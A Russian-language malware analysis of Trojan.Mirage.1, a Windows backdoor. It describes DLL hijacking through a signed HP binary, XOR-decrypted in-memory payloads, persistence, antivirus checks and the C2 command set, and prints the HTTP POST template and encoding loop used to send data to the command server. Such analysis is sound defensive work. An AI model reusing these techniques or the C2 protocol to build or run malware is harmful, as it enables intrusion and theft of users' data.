Упаковщик: отсутствует
Даты компиляции:
- 12:37:30 12.09.2018 (загрузчик rapi.dll)
- 14:04:26 25.09.2018 (модуль полезной нагрузки Server.dll)
SHA1-хеши:
- c4ef5981bee97c78d29fb245d84146a5db710782 (rapi.dll)
- 34085c6d935c4df7ce7f80297b0c14a8d3b436d8 (cmdl32.dat)
- d4558761c52027bf52aa9829bbb44fe12920381d (server.dll)
Описание
Trojan.Mirage.1 представляет собой многокомпонентный троян-бэкдор, предназначенный для работы в 32-битных операционных системах семейства Microsoft Windows. Используется для несанкционированного управления зараженным компьютером и доступа к содержащейся на устройстве информации. Заражение осуществляется методом внедрения загрузчика в запущенный валидный процесс операционной системы. Распаковка полезной нагрузки и выполнение произвольного кода производятся в оперативной памяти зараженного компьютера.
Принцип действия
Trojan.Mirage.1 содержит следующий комплект файлов:
- WmiPrvServer.exe — файл с действительной цифровой подписью HP
CN=Hewlett-Packard Company OU=Hewlett-Packard Company OU=Digital ID Class 3 - Microsoft Software Validation v2 O=Hewlett-Packard Company L=Palo Alto S=California C=US
- rapi.dll — загрузчик. Загружается в процесс WmiPrvServer.exe методом DLL Hijacking.
- cmdl32.dat — зашифрованный шелл-код c полезной нагрузкой.
- config.dat — зашифрованная конфигурация.
Модуль загрузчика Rapi.dll
Модуль загрузчика внедряется в процесс WmiPrvServer.exe методом DLL Hijacking. Программа получает адрес функции GetProcAddress через структуру PEB (Process Environment Block) путем сравнения строк. После чего получает адреса необходимых импортируемых функций:
LoadLibraryA
GetModuleFileNameA
VirtualAlloc
CloseHandle
CreateFileA
GetFileSize
ReadFile
Затем производится чтение файла cmdl32.dat из того же каталога, откуда был запущен родительский процесс троянской программы. Загрузчик расшифровывает файл операцией XOR с байтом 0x88 и JMP-инструкцией совершает переход в расшифрованный буфер.
Зашифрованный шелл-код cmdl32.dat
В начале работы шелл-код вычисляет размер полезной нагрузки. Начало полезной нагрузки находится вызовом последней функции шелл-кода, а ее конец определяются по сигнатуре 0xDDCCBBAA.Далее программа получает список необходимых импортируемых функций. Через структуру PEB троян находит функцию GetProcAddress, при помощи которой сразу получает адрес функции LoadLibraryA. Поиск остальных импортов производится через две данные функции.
strcmp
memcpy
VirtualAlloc
VirtualProtect
WriteFile
lstrcatA
GetModuleHandleA
IsDebuggerPresent
Затем Trojan.Mirage.1 расшифровывает полезную нагрузку операцией XOR с байтом 0xCC, загружает полученный MZPE-файл в память и совершает вызов экспортируемой функции mystart.
Полезная нагрузка
Модуль полезной нагрузки представляет собой динамическую библиотеку с экспортируемыми функциями:
OnWork
RunUninstallA
Uninstall
mystart
Ниже мы рассмотрим две основные функции, обеспечивающие работу трояна: mystart и OnWork.
Функция mystart
Сперва проверяется наличие файла %TEMP%\\installstat.tmp. При наличии файла Trojan.Mirage.1 читает из него адрес прокси-сервера, а затем удаляет файл.
В качестве домашнего каталога используется папка c:\\programdata\\Tmp\\cmd32\\cmd32, при этом даты создания, модификации и доступа для папок c:\\programdata\\Tmp\\cmd32\\cmd32 и c:\\programdata\\Tmp\\ копируются с файла %WINDIR%\\System32\\winver.exe.
Для контроля запуска только одной копии вредоносной программы используется мьютекс Global\\dawdwere4de2wrw.
На данном этапе программа проверяет наличие процессов avp.exe и avpui.exe. Если хотя бы один из них обнаружен, то в процессе дальнейшей работы дополнительно проверяет наличие объекта события с именем Global\\v2kjgtts1 и, при его наличии, завершает свою работу.
Trojan.Mirage.1 может работать в трех режимах.
При работе в качестве службы проверяет наличие объекта события с именем Global\\v2kjgtts1. В случае отсутствия объекта события копирует свои файлы из текущей директории в c:\\programdata\\Tmp\\cmd32\\cmd32, после чего внедряется или в процесс iexplore.exe (в версиях ОС, начиная с Windows Vista и выше), или в процесс explorer.exe (в версиях ОС до Windows Vista).
При работе в контексте процессов explorer.exe или iexplore.exe удаляет свои файлы из директории %TEMP%, проверяет наличие мьютекса Global\\dawdwere4de2wrw и, при его отсутствии, создает его. Если троян запущен с повышенными правами, то он создает службу Windows Event Update, в противном случае устанавливается в автозагрузку через ключ реестра [HKCU\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Windows] 'Load' и приступает к выполнению основных функций.
В остальных случаях Trojan.Mirage.1 проверяет наличие мьютекса Global\\dawdwere4de2wrw. При его отсутствии внедряется или в процесс iexplore.exe (в версиях ОС, начиная с Windows Vista и выше), или в процесс explorer.exe (в версиях ОС старше Windows Vista).
Функция OnWork
После получения импортируемых функций программа сразу переходит к выполнению своих основных задач, минуя фазу установки в систему.
Читает файл c:\\programdata\\Tmp\\cmd32\\cmd32\\config.dat и расшифровывает его алгоритмом:
Конфигурация имеет следующую структуру:
struct st_config
{
char cnc_addr[32];
char cnc_port[16];
char interval[16];
char timeout[16];
char unk3[16];
_DWORD unk4;
char trojan_name[16];
_DWORD unk5;
wchar_t campaign[32];
};
Далее Trojan.Mirage.1 собирает различную информацию о зараженном компьютере и формирует структуру:
struct st_info
{
wchar_t version[32];
wchar_t pc_name_user[64];
wchar_t bot_ip[64];
wchar_t macaddr[64];
_DWORD osver;
_DWORD cpufreq;
_DWORD cpunumber;
_DWORD physmem;
_DWORD is_wow64_process;
};
В поле version сохраняется строка %s-v1.0-%s, при этом значение v1.0 зашито в исследуемом образце, а две другие строки — trojan_name и campaign — берутся из конфигурации.
Далее происходит попытка установить соединение с управляющим сервером. Для этого проверяет наличие настроек прокси в записях реестра: [HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Internet Settings] 'ProxyEnable' и [HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Internet Settings] 'ProxyServer'. Если настройки присутствуют, троян будет использовать указанный прокси-сервер в своих запросах.
Trojan.Mirage.1 подключается к указанному в конфигурации управляющему серверу и отправляет следующий пакет:
struct st_hello
{
_DWORD dword0; // 'f'
_DWORD dword4; // случайное значение
_DWORD dword8; // случайное значение
_DWORD dwordC; // случайное значение
wchar_t text[256]; // "Neo,welcome to the desert of real."
};
В ответ принимает следующие команды для выполнения:
- 0 — отправить информацию о зараженном компьютере;
- 1 — запустить плагин для работы с файловой системой;
- 2 — запустить плагин для работы с командной оболочкой;
- 5 — запустить плагин для работы с процессами;
- 6 — запустить плагин для работы с командной оболочкой от другого пользователя;
- 7 — запустить плагин для работы кейлоггера;
- 51 — отправить информацию о зараженном компьютере;
- 52 — скачать обновление вредоносной программы;
- 53 — разорвать соединение с сервером;
- 54 — разорвать соединение с сервером;
- 200 — отправить информацию о накопителях, установленных в системе;
- 201 — отправить листинг директории;
- 202 — удалить файл;
- 203 — переместить файл;
- 204 — отправить файл на управляющий сервер;
- 205 — скачать файл с управляющего сервера;
- 206 — создать директорию;
- 207 — выполнить команду через cmd.exe;
- 300 — отправить на сервер список процессов на зараженном компьютере;
- 301 — завершить процесс по указанному идентификатору;
- 400 — отправить на сервер журнал событий кейлоггера.
Протокол связи с управляющим сервером
Связь с управляющим сервером осуществляется по протоколу HTTP. Запросы имеют следующий вид:
POST http://<cnc_addr>:<cnc_port>/result?hl=en&id=<id> HTTP/1.1\r\n
Accept: */*\r\n
Accept-Language: en-us\r\n
User-Agent: Mozilla/4.0 (compatible; MSIE 5.5; Windows NT 5.0)\r\n
Proxy-Connection: Keep-Alive\r\n
Content-Length: %d\r\n
Content-Type: application/x-www-form-urlencoded\r\n
Encoding: gzip, deflate\r\n
Host: %s:%d\r\n\r\n
где <cnc_addr> — адрес управляющего сервера; <cnc_port> — порт управляющего сервера; <id> — случайная строка из букв нижнего регистра латинского алфавита. Уникальный <id> генерируется для каждого запроса.
Данные POST-запроса и ответа на него шифруются следующим алгоритмом:
for ( i = 0; i < data_size; ++i )
request[req_header_len + i] = (i ^ 0x7C) + data[i];
Первый DWORD в ответе сервера является идентификатором команды, которую должен исполнить бот. Остальная часть буфера может содержать дополнительные параметры для этой команды.
Плагин для работы с командной оболочкой
Для перенаправления ввода/вывода из процесса cmd.exe используются три файла:
- %TEMP%\\cache\\sysin_%d.log
- %TEMP%\\cache\\sysout_%d.log
- %TEMP%\\cache\\systemp_%d.log
где %d — случайное число, одинаковое для всех трех файлов, которое генерируется в момент запуска плагина. Если плагин был запущен командой №6, то буфер команды должен содержать домен, логин и пароль пользователя, из-под которого производится запуск командной оболочки.
После этого троян запускает командную оболочку с перенаправлением ввода/вывода в указанные выше файлы. Содержимое файла sysout_%d.log будет отправляться на управляющий сервер, а ответ сервера — сохраняться в файл sysin_%d.log.